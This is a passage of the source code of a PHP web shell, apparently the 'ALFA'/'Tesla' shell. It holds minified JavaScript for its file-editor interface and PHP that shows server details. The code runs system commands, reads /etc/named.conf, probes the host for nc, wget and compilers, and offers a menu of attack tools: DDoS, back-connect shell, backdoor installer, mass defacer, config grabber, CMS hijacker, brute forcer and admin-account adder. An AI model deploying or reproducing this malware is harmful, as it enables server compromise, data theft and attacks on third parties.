t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=alfa_ace_editors.editor;"eval"==i&&(l=alfa_ace_editors.eval);var o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("alfa_ace_"+a+"_"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;"eval"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;"eval"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("alfa_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\./g,"\\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("alfa_history_files");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\//g,"")==f.replace(/\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=alfab64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick='editorTabController(this);' opt_id='"+b+"' id='tab_"+b+"' class='editor-tab-name editor-tab-active'>"+decodeURIComponent(e)+" <img opt_id='"+b+"' onclick='closeEditorContent(this,event);return false;' title='[close]' src='http://solevisible.com/icons/menu/delete.svg'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class='editor-contents editor-content-active' id='"+b+"'></div>")}return 0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),alfaloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?alfaloader(b,"block"):(alfaloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(a)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&alfaUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?alfaLoaderOnTop("none"):alfaloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&alfaShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),alfaLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\/\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("alfa-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="alfa-ace-plugin",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie("alfa_ace_theme_editor"),l=getCookie("alfa_ace_fontsize_editor");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),alfa_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),alfa_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),alfa_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),alfa_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),alfa_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),alfa_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie("alfa_ace_theme_eval"),l=getCookie("alfa_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),alfa_ace_editors.eval["phpeval-"+o]=ace.edit(t),alfa_ace_editors.eval["phpeval-"+o].setReadOnly(a),alfa_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),alfa_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),alfa_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),alfa_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id='"+e+"' class='history' onClick='reopen(this);'><div class='editor-icon'>"+loadType(a,i,e)+"</div><div class='editor-file-name'>"+a+"</div></div><div class='history-close' onClick='removeHistory(\""+e+"\");'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class='editor-icon'>"+loadType(editor_files[t].file,e,t)+"</div><div class='editor-file-name'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split("."))[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return'<img src="http://solevisible.com/icons/{type}" width="30" height="30">'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor('"+a+"','auto','','','','file')"),$(r).setAttribute("onclick","editor('"+a+"','edit','','','','"+s+"')"),$(n).setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g('FilesMan', '"+c_+"/"+a+"')")),$(i).setAttribute("onclick","editor('"+a+"','chmod','','','','"+s+"')"),$(l).setAttribute("onclick","editor('"+a+"','rename','','','','"+s+"')"),$(o).setAttribute("onclick","editor('"+a+"','touch','','','','"+s+"')"),$(d).setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\/\//g,"/"),l=l.replace(/\/\//g,"/"),-1!=(t=t.replace(/\/\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\/\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\/\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand("copy"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return alfaloader(alfa_before_do_action_id,"block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&alfa9="+alfab64(e.cgi_api.value)+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,"none")},!1,alfa_before_do_action_id),alfa_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(a))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"<?php
echo "__ALFA_SECRET_KEY__";
?>")}function evalCss(e){var a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};
</script>
<?php
echo "<form style='display:none;' id='dlForm' action='' target='_blank' method='post'>\r\n<input type='hidden' name='a' value='dlfile'>\r\n<input type='hidden' name='c' value=''>\r\n<input type='hidden' name='file' value=''>\r\n</form>\r\n<input type='file' style='display:none;' id='importFileBtn' onchange='importConfig(event);'>\r\n<div id='a_loader'><img src='" . __showicon('loader') . "'></div>";
$cmd_uname = alfaEx("uname -a", false, false);
$uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname) > 0 ? $cmd_uname : '( php_uname ) Function Disabled !');
if ($uname == "( php_uname ) Function Disabled !") {
$GLOBALS["need_to_update_header"] = "true";
}
echo '
</head>
<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<div id="up_bar_holder"></div>
<div class="whole">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a">
<input type="hidden" name="c" value="' . $GLOBALS['cwd'] . '">';
for ($s = 1; $s <= 10; $s++) {
echo '<input type="hidden" name="alfa' . $s . '">';
}
echo "<input type=\"hidden\" name=\"charset\">\r\n</form>\r\n<div id='hidden_sh'><a class=\"alert_green\" target=\"_blank\" href=\"?solevisible\"><span style=\"color:#42ff59;\">Tesla</span><br><small>Version: <span class=\"hidden_shell_version\">4.1</span></small></a></div>\r\n<div class=\"header\"><table width=\"100%\" border=\"0\">\r\n<tr>\r\n<td width=\"3%\"><span class=\"header_vars\">Uname:</span></td>\r\n<td colspan=\"2\"><span class=\"header_values\" id=\"header_uname\">" . $uname . '</span></td>
</tr>
<tr>
<td><span class="header_vars">User:</span></td>
<td><span class="header_values" id="header_userid">' . $uid . ' [ ' . $user . ' ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">' . $gid . ' [ ' . $group . ' ]</span> </td>
<td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></td>
</tr>
<tr>
<td><span class="header_vars">PHP:</span></td>
<td><b>' . @phpversion() . ' </b><span class="header_vars"> Safe Mode: ' . $safe_modes . '</span></td>
</tr>
<tr>
<td><span class="header_vars">ServerIP:</span></td>
<td><b>' . (!@$_SERVER["SERVER_ADDR"] ? function_exists("gethostbyname") ? @gethostbyname($_SERVER['SERVER_NAME']) : '????' : @$_SERVER["SERVER_ADDR"]) . '</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b> ' . @$_SERVER["REMOTE_ADDR"] . '</b><div style="display:inline;display:none;" class="flag-holder"></div></td>
</tr>
<tr>
<td width="3%"><span class="header_vars">DateTime:</span></td>
<td colspan="2"><b>' . date('Y-m-d H:i:s') . '</b></td>
</tr>
<tr>
<td><span class="header_vars">Domains:</span></td>
<td width="76%"><span class="header_values" id="header_domains">';
if ($GLOBALS['sys'] == 'unix') {
$d0mains = _alfa_file("/etc/named.conf", false);
if (!$d0mains) {
echo "Cant Read [ /etc/named.conf ]";
$GLOBALS["need_to_update_header"] = "true";
} else {
$count = 0;
foreach ($d0mains as $d0main) {
if (@strstr($d0main, "zone")) {
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if (strlen(trim($domains[1][0])) > 2) {
flush();
$count++;
}
}
}
echo "{$count} Domains";
}
} else {
echo "Cant Read [ /etc/named.conf ]";
}
echo '</span></td>
</tr>
<tr>
<td height="16"><span class="header_vars">HDD:</span></td>
<td><span class="header_vars">Total:</span><b>' . alfaSize($totalSpace) . ' </b><span class="header_vars">Free:</span><b>' . alfaSize($freeSpace) . ' [' . (int) ($freeSpace / $totalSpace * 100) . '%]</b></td>
</tr>';
if ($GLOBALS['sys'] == 'unix') {
$useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>';
if (!@ini_get('safe_mode')) {
if (strlen(alfaEx("id", false, false)) > 0) {
echo "<tr><td height=\"18\" colspan=\"2\"><span class=\"header_vars\">Useful : </span>";
$userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzialfa2', 'nc', 'locate', 'suidperl');
$x = 0;
foreach ($userful as $item) {
if (alfaWhich($item)) {
$x++;
echo '<span class="header_values" style="margin-left: 4px;">' . $item . '</span>';
}
}
if ($x == 0) {
echo "<span class='header_values' id='header_useful'>--------------</span>";
$GLOBALS["need_to_update_header"] = "true";
}
echo "</td>\r\n</tr>\r\n<tr>\r\n<td height=\"0\" colspan=\"2\"><span class=\"header_vars\">Downloader: </span>";
$downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
$x = 0;
foreach ($downloaders as $item2) {
if (alfaWhich($item2)) {
$x++;
echo '<span class="header_values" style="margin-left: 4px;">' . $item2 . '</span>';
}
}
if ($x == 0) {
echo "<span class='header_values' id='header_downloader'>--------------</span>";
$GLOBALS["need_to_update_header"] = "true";
}
echo "</td>\r\n</tr>";
} else {
echo $useful_downloader;
$GLOBALS["need_to_update_header"] = "true";
}
} else {
echo $useful_downloader;
$GLOBALS["need_to_update_header"] = "true";
}
} else {
echo "<tr><td height=\"18\" colspan=\"2\"><span class=\"header_vars\">Windows:</span><b>";
echo alfaEx('ver', false, false);
echo "</td>\r\n</tr> <tr>\r\n<td height=\"0\" colspan=\"2\"><span class=\"header_vars\">Downloader: </span><b>-------------</b></td>\r\n</tr></b>";
}
$quotes = function_exists('get_magic_quotes_gpc') ? get_magic_quotes_gpc() : '0';
if ($quotes == "1" or $quotes == "on") {
$magic = '<b><span class="header_on">ON</span>';
} else {
$magic = '<span class="header_off">OFF</span>';
}
echo '<tr>
<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b>' . Alfa_GetDisable_Function() . '</b></td>
</tr>
<tr>
<td height="16" colspan="2"><span class="header_vars">CURL :</span>' . $curl . ' | <span class="header_vars">SSH2 : </span>' . $ssh2 . ' | <span class="header_vars">Magic Quotes : </span>' . $magic . ' | <span class="header_vars"> MySQL :</span>' . $mysql . ' | <span class="header_vars">MSSQL :</span>' . $mssql . ' | <span class="header_vars"> PostgreSQL :</span>' . $pg . ' | <span class="header_vars"> Oracle :</span>' . $or . ' ' . ($GLOBALS['sys'] == "unix" ? '| <span class="header_vars"> CGI :</span> ' . $cgi_shell : "") . '</td><td width="15%"><div id="alfa_solevisible"><center><a href="https://t.me/solevisible" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad & Invisible</font></span></a></center></div></td>
</tr>
<tr>
<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b>' . $open_b . '</b> | <span class="header_vars">Safe_mode_exec_dir :</span><b>' . $safe_exe . '</b> | <span class="header_vars"> Safe_mode_include_dir :</span></b>' . $safe_include . '</b></td>
</tr>
<tr>
<td height="11"><span class="header_vars">SoftWare: </span></td>
<td colspan="2"><b>' . @getenv('SERVER_SOFTWARE') . '</b></td>
</tr>';
if ($GLOBALS['sys'] == "win") {
echo '<tr>
<td height="12"><span class="header_vars">DRIVE:</span></td>
<td colspan="2"><b>' . $drives . '</b></td>
</tr>';
}
echo '<tr>
<td height="12"><span class="header_vars">PWD:</span></td>
<td colspan="2"><span id="header_cwd">' . $cwd_links . ' </span><a href="#action=fileman&path=' . $GLOBALS['home_cwd'] . '" onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><span class="home_shell">[ Home Shell ]</span> </a></td>
</tr>
</table>
</div>
<div id="meunlist">
<ul>
';
$li = array('proc' => 'Process', 'phpeval' => 'Eval', 'sql' => 'SQL Manager', 'dumper' => 'Database Dumper', 'coldumper' => 'Column Dumper', 'hash' => 'En-Decoder', 'connect' => 'BC', 'zoneh' => 'ZONE-H', 'dos' => 'DDOS', 'safe' => 'ByPasser', 'cgishell' => 'Cgi Shell', 'ssiShell' => 'SSI SHELL', 'cpcrack' => 'Hash Tools', 'portscanner' => 'Port Scaner', 'basedir' => 'Open BaseDir', 'mail' => 'Fake Mail', 'ziper' => 'Compressor', 'deziper' => 'DeCompressor', 'IndexChanger' => 'Index Changer', 'pwchanger' => 'Add New Admin', 'ShellInjectors' => 'Shell Injectors', 'php2xml' => 'PHP2XML', 'cloudflare' => 'CloudFlare', 'Whmcs' => 'Whmcs DeCoder', 'symlink' => 'Symlink', 'MassDefacer' => 'Mass Defacer', 'Crackers' => 'BruteForcer', 'searcher' => 'Searcher', 'config_grabber' => 'Config Grabber', 'fakepage' => 'Fake Page', 'archive_manager' => 'Archive Manager', 'cmshijacker' => 'CMS Hijacker', 'remotedl' => 'Remote Upload', 'inbackdoor' => 'Install BackDoor', 'whois' => 'Whois', 'selfrm' => 'Remove Shell');
foreach ($li as $key => $value) {
echo '<li><a id="menu_opt_' . $key . '" href="#action=options&path=' . $GLOBALS['cwd'] . '&opt=' . $key . '" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=' . $key . '\';g(\'' . $key . '\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">' . $value . '</a></li>' . "\n";
}
echo '</ul><div style="text-align: center;padding: 6px;"><a id="menu_opt_settings" href="#action=options&path=' . $GLOBALS['cwd'] . '&opt=settings" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=settings\';g(\'settings\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">Alfa Settings</a><a style="display:none;" id="menu_opt_market" href="#action=options&path=' . $GLOBALS['cwd'] . '&opt=market" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=market\';g(\'market\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;"><span class="alfa_plus">Alfa market</span></a><a id="menu_opt_aboutus" href="#action=options&path=' . $GLOBALS['cwd'] . '&opt=aboutus" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=aboutus\';g(\'aboutus\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">About Us</a>' . (!empty($_COOKIE['AlfaUser']) && !empty($_COOKIE['AlfaPass']) ? '<a href="javascript:void(0);" onclick="alfaLogOut();"><font color="red">LogOut</font></a>' : '') . '</div></div><div id="filesman_tabs"><div onmouseover="alfaFilesmanTabShowTitle(this,event);" 